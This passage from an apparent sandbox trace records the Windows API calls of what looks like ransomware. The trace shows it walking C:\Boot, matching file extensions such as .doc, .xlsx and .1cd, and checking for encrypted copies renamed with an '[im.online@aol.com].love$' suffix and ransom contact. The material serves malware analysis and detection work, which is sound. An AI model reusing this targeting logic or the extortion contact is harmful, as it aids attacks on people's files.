(lpString=".xls") returned 4 [0223.076] lstrcmpiW (lpString1=".xls", lpString2="RKER") returned -1 [0223.076] lstrlenW (lpString=".xlsx") returned 5 [0223.076] lstrcmpiW (lpString1=".xlsx", lpString2="ARKER") returned -1 [0223.076] lstrlenW (lpString=".ppt") returned 4 [0223.076] lstrcmpiW (lpString1=".ppt", lpString2="RKER") returned -1 [0223.076] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0223.076] lstrlenW (lpString=".zip") returned 4 [0223.076] lstrcmpiW (lpString1=".zip", lpString2="RKER") returned -1 [0223.076] lstrlenW (lpString=".rar") returned 4 [0223.076] lstrcmpiW (lpString1=".rar", lpString2="RKER") returned -1 [0223.076] lstrlenW (lpString=".bz2") returned 4 [0223.076] lstrcmpiW (lpString1=".bz2", lpString2="RKER") returned -1 [0223.076] lstrlenW (lpString=".7z") returned 3 [0223.076] lstrcmpiW (lpString1=".7z", lpString2="KER") returned -1 [0223.076] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0223.077] lstrlenW (lpString=".dbf") returned 4 [0223.077] lstrcmpiW (lpString1=".dbf", lpString2="RKER") returned -1 [0223.077] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0223.077] lstrlenW (lpString=".1cd") returned 4 [0223.077] lstrcmpiW (lpString1=".1cd", lpString2="RKER") returned -1 [0223.077] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0223.077] lstrlenW (lpString=".jpg") returned 4 [0223.077] lstrcmpiW (lpString1=".jpg", lpString2="RKER") returned -1 [0223.077] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0223.077] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0223.077] lstrlenW (lpString=".doc") returned 4 [0223.077] lstrcmpiW (lpString1=".doc", lpString2="RKER") returned -1 [0223.077] lstrlenW (lpString=".docx") returned 5 [0223.077] lstrcmpiW (lpString1=".docx", lpString2="ARKER") returned -1 [0223.077] lstrlenW (lpString=".pdf") returned 4 [0223.078] lstrcmpiW (lpString1=".pdf", lpString2="RKER") returned -1 [0223.078] lstrlenW (lpString=".xls") returned 4 [0223.078] lstrcmpiW (lpString1=".xls", lpString2="RKER") returned -1 [0223.078] lstrlenW (lpString=".xlsx") returned 5 [0223.078] lstrcmpiW (lpString1=".xlsx", lpString2="ARKER") returned -1 [0223.078] lstrlenW (lpString=".ppt") returned 4 [0223.078] lstrcmpiW (lpString1=".ppt", lpString2="RKER") returned -1 [0223.078] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0223.078] lstrlenW (lpString=".zip") returned 4 [0223.078] lstrcmpiW (lpString1=".zip", lpString2="RKER") returned -1 [0223.078] lstrlenW (lpString=".rar") returned 4 [0223.078] lstrcmpiW (lpString1=".rar", lpString2="RKER") returned -1 [0223.078] lstrlenW (lpString=".bz2") returned 4 [0223.078] lstrcmpiW (lpString1=".bz2", lpString2="RKER") returned -1 [0223.078] lstrlenW (lpString=".7z") returned 3 [0223.078] lstrcmpiW (lpString1=".7z", lpString2="KER") returned -1 [0223.078] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0223.078] lstrlenW (lpString=".dbf") returned 4 [0223.078] lstrcmpiW (lpString1=".dbf", lpString2="RKER") returned -1 [0223.078] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0223.078] lstrlenW (lpString=".1cd") returned 4 [0223.078] lstrcmpiW (lpString1=".1cd", lpString2="RKER") returned -1 [0223.078] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0223.078] lstrlenW (lpString=".jpg") returned 4 [0223.078] lstrcmpiW (lpString1=".jpg", lpString2="RKER") returned -1 [0223.078] Sleep (dwMilliseconds=0x64) [0223.281] Sleep (dwMilliseconds=0x64) [0223.561] lstrlenW (lpString="BCD") returned 3 [0223.561] CreateFileW (lpFileName="C:\\Boot\\BCD" (normalized: "c:\\boot\\bcd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0223.562] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0223.562] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0223.562] lstrlenW (lpString=".doc") returned 4 [0223.562] lstrcmpiW (lpString1=".doc", lpString2="\\BCD") returned -1 [0223.562] lstrlenW (lpString=".docx") returned 5 [0223.562] lstrcmpiW (lpString1=".docx", lpString2="t\\BCD") returned -1 [0223.562] lstrlenW (lpString=".pdf") returned 4 [0223.562] lstrcmpiW (lpString1=".pdf", lpString2="\\BCD") returned -1 [0223.562] lstrlenW (lpString=".xls") returned 4 [0223.562] lstrcmpiW (lpString1=".xls", lpString2="\\BCD") returned -1 [0223.562] lstrlenW (lpString=".xlsx") returned 5 [0223.562] lstrcmpiW (lpString1=".xlsx", lpString2="t\\BCD") returned -1 [0223.562] lstrlenW (lpString=".ppt") returned 4 [0223.562] lstrcmpiW (lpString1=".ppt", lpString2="\\BCD") returned -1 [0223.562] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0223.562] lstrlenW (lpString=".zip") returned 4 [0223.562] lstrcmpiW (lpString1=".zip", lpString2="\\BCD") returned -1 [0223.562] lstrlenW (lpString=".rar") returned 4 [0223.562] lstrcmpiW (lpString1=".rar", lpString2="\\BCD") returned -1 [0223.562] lstrlenW (lpString=".bz2") returned 4 [0223.562] lstrcmpiW (lpString1=".bz2", lpString2="\\BCD") returned -1 [0223.562] lstrlenW (lpString=".7z") returned 3 [0223.562] lstrcmpiW (lpString1=".7z", lpString2="BCD") returned -1 [0223.562] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0223.562] lstrlenW (lpString=".dbf") returned 4 [0223.562] lstrcmpiW (lpString1=".dbf", lpString2="\\BCD") returned -1 [0223.562] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0223.562] lstrlenW (lpString=".1cd") returned 4 [0223.562] lstrcmpiW (lpString1=".1cd", lpString2="\\BCD") returned -1 [0223.562] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0223.562] lstrlenW (lpString=".jpg") returned 4 [0223.562] lstrcmpiW (lpString1=".jpg", lpString2="\\BCD") returned -1 [0223.562] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0223.563] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0223.563] lstrlenW (lpString=".doc") returned 4 [0223.563] lstrcmpiW (lpString1=".doc", lpString2="\\BCD") returned -1 [0223.563] lstrlenW (lpString=".docx") returned 5 [0223.563] lstrcmpiW (lpString1=".docx", lpString2="t\\BCD") returned -1 [0223.563] lstrlenW (lpString=".pdf") returned 4 [0223.563] lstrcmpiW (lpString1=".pdf", lpString2="\\BCD") returned -1 [0223.563] lstrlenW (lpString=".xls") returned 4 [0223.563] lstrcmpiW (lpString1=".xls", lpString2="\\BCD") returned -1 [0223.563] lstrlenW (lpString=".xlsx") returned 5 [0223.563] lstrcmpiW (lpString1=".xlsx", lpString2="t\\BCD") returned -1 [0223.563] lstrlenW (lpString=".ppt") returned 4 [0223.563] lstrcmpiW (lpString1=".ppt", lpString2="\\BCD") returned -1 [0223.563] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0223.563] lstrlenW (lpString=".zip") returned 4 [0223.563] lstrcmpiW (lpString1=".zip", lpString2="\\BCD") returned -1 [0223.563] lstrlenW (lpString=".rar") returned 4 [0223.563] lstrcmpiW (lpString1=".rar", lpString2="\\BCD") returned -1 [0223.563] lstrlenW (lpString=".bz2") returned 4 [0223.563] lstrcmpiW (lpString1=".bz2", lpString2="\\BCD") returned -1 [0223.563] lstrlenW (lpString=".7z") returned 3 [0223.563] lstrcmpiW (lpString1=".7z", lpString2="BCD") returned -1 [0223.563] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0223.563] lstrlenW (lpString=".dbf") returned 4 [0223.563] lstrcmpiW (lpString1=".dbf", lpString2="\\BCD") returned -1 [0223.563] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0223.563] lstrlenW (lpString=".1cd") returned 4 [0223.563] lstrcmpiW (lpString1=".1cd", lpString2="\\BCD") returned -1 [0223.563] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0223.563] lstrlenW (lpString=".jpg") returned 4 [0223.563] lstrcmpiW (lpString1=".jpg", lpString2="\\BCD") returned -1 [0223.564] lstrcmpiW (lpString1=".LOG1", lpString2=".love$") returned -1 [0223.564] lstrlenW (lpString="BCD.LOG1") returned 8 [0223.564] CreateFileW (lpFileName="C:\\Boot\\BCD.LOG1" (normalized: "c:\\boot\\bcd.log1"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0223.697] GetFileSizeEx (in: hFile=0x344, lpFileSize=0x35aff14 | out: lpFileSize=0x35aff14*=0) returned 1 [0223.697] CloseHandle (hObject=0x344) returned 1 [0223.697] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0223.697] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0223.697] lstrlenW (lpString=".doc") returned 4 [0223.697] lstrcmpiW (lpString1=".doc", lpString2="LOG1") returned -1 [0223.697] lstrlenW (lpString=".docx") returned 5 [0223.697] lstrcmpiW (lpString1=".docx", lpString2=".LOG1") returned -1 [0223.698] lstrlenW (lpString=".pdf") returned 4 [0223.698] lstrcmpiW (lpString1=".pdf", lpString2="LOG1") returned -1 [0223.698] lstrlenW (lpString=".xls") returned 4 [0223.698] lstrcmpiW (lpString1=".xls", lpString2="LOG1") returned -1 [0223.698] lstrlenW (lpString=".xlsx") returned 5 [0223.698] lstrcmpiW (lpString1=".xlsx", lpString2=".LOG1") returned 1 [0223.698] lstrlenW (lpString=".ppt") returned 4 [0223.698] lstrcmpiW (lpString1=".ppt", lpString2="LOG1") returned -1 [0223.698] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0223.698] lstrlenW (lpString=".zip") returned 4 [0223.698] lstrcmpiW (lpString1=".zip", lpString2="LOG1") returned -1 [0223.698] lstrlenW (lpString=".rar") returned 4 [0223.698] lstrcmpiW (lpString1=".rar", lpString2="LOG1") returned -1 [0223.698] lstrlenW (lpString=".bz2") returned 4 [0223.698] lstrcmpiW (lpString1=".bz2", lpString2="LOG1") returned -1 [0223.698] lstrlenW (lpString=".7z") returned 3 [0223.698] lstrcmpiW (lpString1=".7z", lpString2="OG1") returned -1 [0223.698] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0223.698] lstrlenW (lpString=".dbf") returned 4 [0223.698] lstrcmpiW (lpString1=".dbf", lpString2="LOG1") returned -1 [0223.698] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0223.698] lstrlenW (lpString=".1cd") returned 4 [0223.698] lstrcmpiW (lpString1=".1cd", lpString2="LOG1") returned -1 [0223.698] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0223.698] lstrlenW (lpString=".jpg") returned 4 [0223.698] lstrcmpiW (lpString1=".jpg", lpString2="LOG1") returned -1 [0223.698] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0223.698] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0223.698] lstrlenW (lpString=".doc") returned 4 [0223.698] lstrcmpiW (lpString1=".doc", lpString2="LOG1") returned -1 [0223.698] lstrlenW (lpString=".docx") returned 5 [0223.699] lstrcmpiW (lpString1=".docx", lpString2=".LOG1") returned -1 [0223.699] lstrlenW (lpString=".pdf") returned 4 [0223.699] lstrcmpiW (lpString1=".pdf", lpString2="LOG1") returned -1 [0223.699] lstrlenW (lpString=".xls") returned 4 [0223.699] lstrcmpiW (lpString1=".xls", lpString2="LOG1") returned -1 [0223.699] lstrlenW (lpString=".xlsx") returned 5 [0223.699] lstrcmpiW (lpString1=".xlsx", lpString2=".LOG1") returned 1 [0223.699] lstrlenW (lpString=".ppt") returned 4 [0223.699] lstrcmpiW (lpString1=".ppt", lpString2="LOG1") returned -1 [0223.699] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0223.699] lstrlenW (lpString=".zip") returned 4 [0223.699] lstrcmpiW (lpString1=".zip", lpString2="LOG1") returned -1 [0223.699] lstrlenW (lpString=".rar") returned 4 [0223.699] lstrcmpiW (lpString1=".rar", lpString2="LOG1") returned -1 [0223.699] lstrlenW (lpString=".bz2") returned 4 [0223.699] lstrcmpiW (lpString1=".bz2", lpString2="LOG1") returned -1 [0223.699] lstrlenW (lpString=".7z") returned 3 [0223.699] lstrcmpiW (lpString1=".7z", lpString2="OG1") returned -1 [0223.699] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0223.699] lstrlenW (lpString=".dbf") returned 4 [0223.699] lstrcmpiW (lpString1=".dbf", lpString2="LOG1") returned -1 [0223.699] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0223.699] lstrlenW (lpString=".1cd") returned 4 [0223.699] lstrcmpiW (lpString1=".1cd", lpString2="LOG1") returned -1 [0223.699] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0223.699] lstrlenW (lpString=".jpg") returned 4 [0223.699] lstrcmpiW (lpString1=".jpg", lpString2="LOG1") returned -1 [0223.699] lstrcmpiW (lpString1=".mui", lpString2=".love$") returned 1 [0223.699] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0223.699] CreateFileW (lpFileName="C:\\Boot\\cs-CZ\\bootmgr.exe.mui" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0223.797] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x35aff14 | out: lpFileSize=0x35aff14*=76632) returned 1 [0223.797] CloseHandle (hObject=0x380) returned 1 [0223.797] GetFileAttributesW (lpFileName="C:\\Boot\\cs-CZ\\bootmgr.exe.mui" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui")) returned 0x20 [0223.797] GetFileAttributesW (lpFileName="C:\\Boot\\cs-CZ\\bootmgr.exe.mui.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0223.797] CreateFileW (lpFileName="C:\\Boot\\cs-CZ\\bootmgr.exe.mui" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0223.797] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0223.797] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0223.797] lstrlenW (lpString=".doc") returned 4 [0223.797] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0223.797] lstrlenW (lpString=".docx") returned 5 [0223.798] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0223.798] lstrlenW (lpString=".pdf") returned 4 [0223.798] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0223.798] lstrlenW (lpString=".xls") returned 4 [0223.798] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0223.798] lstrlenW (lpString=".xlsx") returned 5 [0223.798] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0223.798] lstrlenW (lpString=".ppt") returned 4 [0223.798] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0223.798] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0223.798] lstrlenW (lpString=".zip") returned 4 [0223.798] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0223.798] lstrlenW (lpString=".rar") returned 4 [0223.798] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0223.798] lstrlenW (lpString=".bz2") returned 4 [0223.798] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0223.798] lstrlenW (lpString=".7z") returned 3 [0223.798] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0223.798] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0223.798] lstrlenW (lpString=".dbf") returned 4 [0223.798] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0223.798] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0223.798] lstrlenW (lpString=".1cd") returned 4 [0223.798] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0223.798] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0223.798] lstrlenW (lpString=".jpg") returned 4 [0223.798] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0223.798] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0223.799] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0223.799] lstrlenW (lpString=".doc") returned 4 [0223.799] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0223.799] lstrlenW (lpString=".docx") returned 5 [0223.799] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0223.799] lstrlenW (lpString=".pdf") returned 4 [0223.799] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0223.799] lstrlenW (lpString=".xls") returned 4 [0223.799] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0223.799] lstrlenW (lpString=".xlsx") returned 5 [0223.799] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0223.799] lstrlenW (lpString=".ppt") returned 4 [0223.799] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0223.799] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0223.799] lstrlenW (lpString=".zip") returned 4 [0223.799] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0223.799] lstrlenW (lpString=".rar") returned 4 [0223.799] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0223.799] lstrlenW (lpString=".bz2") returned 4 [0223.799] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0223.799] lstrlenW (lpString=".7z") returned 3 [0223.799] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0223.799] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0223.799] lstrlenW (lpString=".dbf") returned 4 [0223.799] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0223.799] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0223.799] lstrlenW (lpString=".1cd") returned 4 [0223.799] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0223.799] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0223.800] lstrlenW (lpString=".jpg") returned 4 [0223.800] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0223.800] lstrcmpiW (lpString1=".mui", lpString2=".love$") returned 1 [0223.800] lstrlenW (lpString="memtest.exe.mui") returned 15 [0223.800] CreateFileW (lpFileName="C:\\Boot\\cs-CZ\\memtest.exe.mui" (normalized: "c:\\boot\\cs-cz\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0223.800] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x35aff14 | out: lpFileSize=0x35aff14*=45472) returned 1 [0223.800] CloseHandle (hObject=0x380) returned 1 [0223.800] GetFileAttributesW (lpFileName="C:\\Boot\\cs-CZ\\memtest.exe.mui" (normalized: "c:\\boot\\cs-cz\\memtest.exe.mui")) returned 0x20 [0223.801] GetFileAttributesW (lpFileName="C:\\Boot\\cs-CZ\\memtest.exe.mui.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\boot\\cs-cz\\memtest.exe.mui.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0223.801] CreateFileW (lpFileName="C:\\Boot\\cs-CZ\\memtest.exe.mui" (normalized: "c:\\boot\\cs-cz\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0223.801] lstrlenW (lpString="C:\\Boot\\cs-CZ\\memtest.exe.mui") returned 29 [0223.801] lstrlenW (lpString="C:\\Boot\\cs-CZ\\memtest.exe.mui") returned 29 [0223.801] lstrlenW (lpString=".doc") returned 4 [0223.801] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0223.801] lstrlenW (lpString=".docx") returned 5 [0223.801] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0223.801] lstrlenW (lpString=".pdf") returned 4 [0223.801] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0223.801] lstrlenW (lpString=".xls") returned 4 [0223.801] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0223.801] lstrlenW (lpString=".xlsx") returned 5 [0223.801] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0223.801] lstrlenW (lpString=".ppt") returned 4 [0223.801] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0223.801] lstrlenW (lpString="C:\\Boot\\cs-CZ\\memtest.exe.mui") returned 29 [0223.801] lstrlenW (lpString=".zip") returned 4 [0223.801] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0223.801] lstrlenW (lpString=".rar") returned 4 [0223.801] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0223.802] lstrlenW (lpString=".bz2") returned 4 [0223.802] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0223.802] lstrlenW (lpString=".7z") returned 3 [0223.802] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0223.802] lstrlenW (lpString="C:\\Boot\\cs-CZ\\memtest.exe.mui") returned 29 [0223.802] lstrlenW (lpString=".dbf") returned 4 [0223.802] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0223.802] lstrlenW (lpString="C:\\Boot\\cs-CZ\\memtest.exe.mui") returned 29 [0223.802] lstrlenW (lpString=".1cd") returned 4 [0223.802] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0223.802] lstrlenW (lpString="C:\\Boot\\cs-CZ\\memtest.exe.mui") returned 29 [0223.802] lstrlenW (lpString=".jpg") returned 4 [0223.802] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0223.802] lstrlenW (lpString="C:\\Boot\\cs-CZ\\memtest.exe.mui") returned 29 [0223.802] lstrlenW (lpString="C:\\Boot\\cs-CZ\\memtest.exe.mui") returned 29 [0223.802] lstrlenW (lpString=".doc") returned 4 [0223.802] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0223.802] lstrlenW (lpString=".docx") returned 5 [0223.802] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0223.802] lstrlenW (lpString=".pdf") returned 4 [0223.802] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0223.802] lstrlenW (lpString=".xls") returned 4 [0223.802] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0223.803] lstrlenW (lpString=".xlsx") returned 5 [0223.803] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0223.803] lstrlenW (lpString=".ppt") returned 4 [0223.803] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0223.803] lstrlenW (lpString="C:\\Boot\\cs-CZ\\memtest.exe.mui") returned 29 [0223.803] lstrlenW (lpString=".zip") returned 4 [0223.803] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0223.803] lstrlenW (lpString=".rar") returned 4 [0223.803] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0223.803] lstrlenW (lpString=".bz2") returned 4 [0223.803] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0223.803] lstrlenW (lpString=".7z") returned 3 [0223.803] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0223.803] lstrlenW (lpString="C:\\Boot\\cs-CZ\\memtest.exe.mui") returned 29 [0223.803] lstrlenW (lpString=".dbf") returned 4 [0223.803] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0223.803] lstrlenW (lpString="C:\\Boot\\cs-CZ\\memtest.exe.mui") returned 29 [0223.803] lstrlenW (lpString=".1cd") returned 4 [0223.803] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0223.803] lstrlenW (lpString="C:\\Boot\\cs-CZ\\memtest.exe.mui") returned 29 [0223.803] lstrlenW (lpString=".jpg") returned 4 [0223.803] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0223.804] lstrcmpiW (lpString1=".mui", lpString2=".love$") returned 1 [0223.804] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0223.804] CreateFileW (lpFileName="C:\\Boot\\da-DK\\bootmgr.exe.mui" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0223.804] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x35aff14 | out: lpFileSize=0x35aff14*=75616) returned 1 [0223.804] CloseHandle (hObject=0x380) returned 1 [0223.804] GetFileAttributesW (lpFileName="C:\\Boot\\da-DK\\bootmgr.exe.mui" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui")) returned 0x20 [0223.804] GetFileAttributesW (lpFileName="C:\\Boot\\da-DK\\bootmgr.exe.mui.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0223.804] CreateFileW (lpFileName="C:\\Boot\\da-DK\\bootmgr.exe.mui" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0223.805] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0223.805] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0223.805] lstrlenW (lpString=".doc") returned 4 [0223.805] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0223.805] lstrlenW (lpString=".docx") returned 5 [0223.805] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0223.805] lstrlenW (lpString=".pdf") returned 4 [0223.805] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0223.805] lstrlenW (lpString=".xls") returned 4 [0223.805] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0223.805] lstrlenW (lpString=".xlsx") returned 5 [0223.805] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0223.805] lstrlenW (lpString=".ppt") returned 4 [0223.805] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0223.805] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0223.805] lstrlenW (lpString=".zip") returned 4 [0223.805] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0223.805] lstrlenW (lpString=".rar") returned 4 [0223.805] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0223.805] lstrlenW (lpString=".bz2") returned 4 [0223.805] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0223.805] lstrlenW (lpString=".7z") returned 3 [0223.805] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0223.805] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0223.805] lstrlenW (lpString=".dbf") returned 4 [0223.805] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0223.806] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0223.806] lstrlenW (lpString=".1cd") returned 4 [0223.806] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0223.806] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0223.806] lstrlenW (lpString=".jpg") returned 4 [0223.806] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0223.806] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0223.806] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0223.806] lstrlenW (lpString=".doc") returned 4 [0223.806] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0223.806] lstrlenW 